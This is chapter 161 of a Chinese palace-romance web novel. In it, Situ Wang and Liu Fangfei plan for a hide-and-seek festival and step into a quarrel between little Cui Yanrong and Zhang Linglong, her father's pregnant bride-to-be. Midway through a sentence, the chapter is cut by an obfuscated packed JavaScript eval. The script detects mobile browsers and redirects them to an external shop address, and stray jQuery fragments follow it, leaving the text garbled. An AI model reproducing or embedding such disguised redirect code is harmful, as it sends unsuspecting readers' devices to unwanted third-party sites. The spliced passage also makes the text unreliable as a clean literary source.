161. 第 161 章

作品:《榻上逐欢

    司徒妄无视来自父君的冷嘲,一边给柳芳菲盛汤,一边跟凌画谈论有关藏钩节的事。


    “欢欢正在调理身子,受不住酷暑,那日我与她早晚露面参加即可。”


    “是这个理。”


    凌画赞许点头,“藏人倒有各个宫殿纳凉,可若寻物委实热了些。”


    话说这藏钩节,顾名思义,一方藏一方寻的游戏。


    因宫中参与人数众多,特此分为两队,每队百余人。


    除寻人之外,还有藏物环节——


    各队藏同等数目的绫罗珍宝于宫中角落,最后哪队寻得多,哪队便获胜。届时,两队珍宝皆由获胜者平分,且还会得到君上的额外奖赏。


    也不知是哪个老先君留下来的传统,旨在加强皇室与百官之间的情谊与交流,大家自然就重视了。


    一年一度雷打不动,同赛马节一样都是宫里一大盛事。


    司徒玥沉吟片刻开口:“最近鄯州有变,又听你谈起许锦云在藏钩节会生事端,明日宫里热闹非凡鱼龙混杂,即便侍卫们恪尽职守可难免疏忽,保护好欢欢多加小心。”


    提及鄯州与许家,又想起今年上元节在黔州街头自己将欢欢弄丢一事,司徒妄脸色一凛:“我自有分寸。”


    众人见他胸有成竹,自然以为他准备周全,直到藏钩节当日,柳芳菲才知晓他的准备到底是什么意思。


    这两日柳芳菲在崔府闭门不出,除却去堂屋陪阿公与爹爹吃饭,便是在清榕苑陪榕榕做功课。


    一日三餐后司徒妄准时前来督促她吃药。


    说来也奇怪,按照以往喝药的流程,不弄个大半时辰是决不罢休,而这两日的几顿药司徒妄喂得那叫一个痛快。


    方式还是那个方式,过程可显得精简多了。


    对此柳芳菲甚是怀疑,就怕他在哪儿憋着坏,对方却戏谑反问:“欢欢若是喜欢以前那种方式,我也可以满足你。”


    她耸肩语塞。


    满足她?哪次不是他一脸餍足,而自己却被搅得心神不宁久久不能平静。


    “你这人怎么如此……”


    不要脸。


    “欢欢别急,我们来日、方长。”


    对于她的苛骂,司徒妄不以为意,将药碗放回茶案,轻声安抚,“明日便是藏钩节,以你的性子定然闹个没完,今日便不闹你,好生休息,才好玩儿得尽兴。”


    “算你有良心。”


    柳芳菲在他脸颊亲了一口以示表扬。


    殊不知,某人让她好好儿地休养生息,不过是为了明日能够更好地与她共赴沉沦。


    适时,司徒三推门而进,神色匆忙:“小皇爷,柳小姐,偏院出事了。”


    偏院,张玲珑。


    司徒妄并不抬眸,心下以为是女人闹脾气搞些一哭二闹三上吊的小把戏,下一瞬却听他继续说:“榕榕和大哥都在。”


    话落,只见自家姑娘滑得跟泥鳅似的,挣扎着跑出了清欢苑。


    再一看,门口只飘过衣襟一角。


    “……下次你能不能一次性把话说完!”


    声音陡然变大,他也跟着去了偏院。


    柳芳菲跑得气喘吁吁,双腿许久不曾这样使力,烈日当头照得她更是身子发虚。


    扶在雕花柱子上喘气的空隙才将当前情状看透彻了。


    地上跪着哭泣的是张玲珑。


    小一长剑对准的是她的喉咙。


    小二嘴里咬着的也是她的襦裙。


    “还好,还好榕榕没事。”


    她拍了拍胸口,扬起虚弱的笑。


    接着,只觉双腿腾空,整个人被拦腰抱起。


    眼眸微抬,却见某人面色阴沉得快要滴出水来。


    好冷。


    分明夏日炎炎,可她还是觉得如身裹寒冰,无法抑制的冷。


    “下次若再这样不管不顾地跑出来,我便打断你的腿。”


    “这腿是你好不容易治好的,真舍得打断?”


    柳芳菲圈住他脖颈,娇俏努嘴,“人家也是担心榕榕,你对我好凶。”


    司徒妄:“……这么会撒娇,不若我们回清欢苑?”


    “不,不了,先看榕榕。”


    说着,她指了指乱作一团的前方,既然来了,总得有个人站出来将事情给处理了。


    “小一小二都在这儿,难不成你还担心她吃亏?”


    他嘴角一抽,看着趴在地上狼狈的张玲珑,不知道做了什么孽要去招惹那个小祖宗。


    这时,崔晏榕正一脸怒气地叉腰睨向张玲珑,稚嫩的声音愤愤道:“爹爹将你带回崔府,你要在这儿住着便住。你肚子里有小宝宝,我虽讨厌你,可总得顾忌多些!但你别妄想把手伸到清榕苑来!还没嫁给爹爹,日后有没有变故谁又能说得准,你也不要在我面前摆崔家主母的谱!”


    “榕榕,你误会了,我不是……”


    未及她说完,冷冽的声音响起:“谁惹你这个小娇娥生气了?”


    顺声而去,张玲珑心底一震,他们怎么来了……


    “阿妄哥哥,姐姐,你们可算来了!”


    榕榕提着裙裾跑到他俩跟前,抓住司徒妄裤脚嘟唇,作势要哭,“再不来,榕榕可要被欺负死了。”


    司徒妄、柳芳菲:“……”


    方才咄咄逼人的到底是谁?


    司徒一、司徒二:“……”


    我们没有功劳也有苦劳好吗?


    张玲珑:“……”


    现在倒在地上的不是我吗?


    片刻沉寂后,柳芳菲从司徒妄怀里挣脱下来,捏了捏妹妹的脸蛋,宠溺地笑:“发生何事了跟姐姐说。”


    “那女人!”


    崔晏榕伸手朝着张玲珑方向一指,“今早上差人给我送来了下月初六我要穿的衣服。说什么家主与主母成婚,作为崔家小姐也要打扮得漂漂亮亮的,才不算丢了崔府的脸!”


    说得气急,还不忘大口大口吐气,又拉着柳芳菲的手撒娇:“姐姐,我很丢人吗?阿妄哥哥,榕榕会丢脸吗?”


    “不会。”


    “没有。”


    两道声音不约而同地响起。


    “我就知道,我一定是天底下最可爱的小姑娘了。”


    “是。”


    “不是。”


    司徒妄无情拆台,“你姐姐才是。”


    崔晏榕瘪嘴,不和这样小气的男人说话,转头又看向张玲珑,天真的眼神里满是厌恶:“爹爹早就说过,他要娶你是他的事,与崔家无


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579694|174021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    关。你无需担心那时候我会丢脸,因为我、根本、不会、参加!不止是我,崔家没有任何一个人会参加崔家家主的大婚,而你,只是他崔胤的妻子,但绝不会成为崔家主母!”


    “崔晏榕。”


    话落,身后传来崔胤呵斥的声音。


    从未想过平日里单纯可爱的女儿会说出这般咄咄逼人的话。甚至不去遵循前因后果,第一时间只想让她敛了身上这股戾气。


    大步上前,冷眸瞪了一眼还叼着衣襟的小二,然对方丝毫没有被吓住。


    “崔家主可是忘了,这小东西最是护主,若非她做了伤害榕榕的事,又怎会对你的眼神熟视无睹?”


    司徒妄冷嘲后微微伸手,“小一,小二回来。”


    听见主子的生硬,小二胸腔里发出一声低吼,随即大摇大摆地走到榕榕跟前坐下。


    前段日子张玲珑来崔府,柳芳菲就将小二放在清榕苑,也好陪伴她保护她。经过这么多天的相处,俨然已经将榕榕认作主子。


    崔胤打量着慵懒眯眼的司徒二,一时间拿不定主意。


    “小一,收剑。”


    司徒妄看着依旧手执长剑抵着张玲珑的司徒一,蹙眉又喊,“小一。”


    司徒一还是收了剑,将其狠狠一丢,扎入张玲珑散在地上的襦裙上。


    “啊——啊啊啊——”


    她被吓得花容失色,吼出来的声音也是一惊一乍,破碎撕裂的。


    司徒一冷冷瞥过呵斥道:“小皇爷怜悯你肚子里的孩子,可我没那些慈悲心。崔家主不喜欢榕榕那是他眼瞎心盲,可这不代表榕榕就没人心疼没人护着。奉劝你最好待在这偏院哪儿也别去,尤其是清榕苑更是给我离得远远的,否则,我见你一次捅你一剑,看你有几条命给我捅!”


    又不知想到什么,扭头看向沉默不语崔胤,神色不愉:“崔家主最好是能够寸步不离的守着她,不然,以她不安分的性子,不用等我动手,也将自己作得死死的。”


    话落,抱起气得委屈的榕榕离开了偏院。


    司徒二跟在后面洋洋懒懒,还不时往回望望发出轻吼,以作警告。


    “到底发生了什么事?”


    崔胤俯睨趴在地上的张玲珑,自小二出现冲她几声吼叫后,整个人便一直趴在地上不停地觳觫,连起身的力气都没有。


    她颤抖着抬头,看向崔胤极尽委屈:“我……我起不来。”


    “起不来便趴着,嘴能出声便回答问题。若你受了委屈,我自会教育榕榕,可若是你自找没事,如今这样趴在地上也算省事,不然届时你还是得趴着。”


    就在崔胤伸手想要扶她起身时,柳芳菲讥诮开口,逼得他又将手收回。


    “不过舅舅若是怜香惜玉,不想听事情的前因后果,亦或觉得榕榕受没受委屈无所谓,那您也可以把她扶起来。”


    崔胤:“……”


    不过就是个下意识的善良之举,被你这丫头解读成这样。


    让扶的是你,不让扶的也是你。


    他拧眉看向自己这个外甥女,鬼机灵越来越多,无奈摇头:“榕榕说得不错,即便我娶了她,她也只是我的妻子,不是崔家主母。崔家内务依旧由你负责,这件事你看着处理,也无需问我。”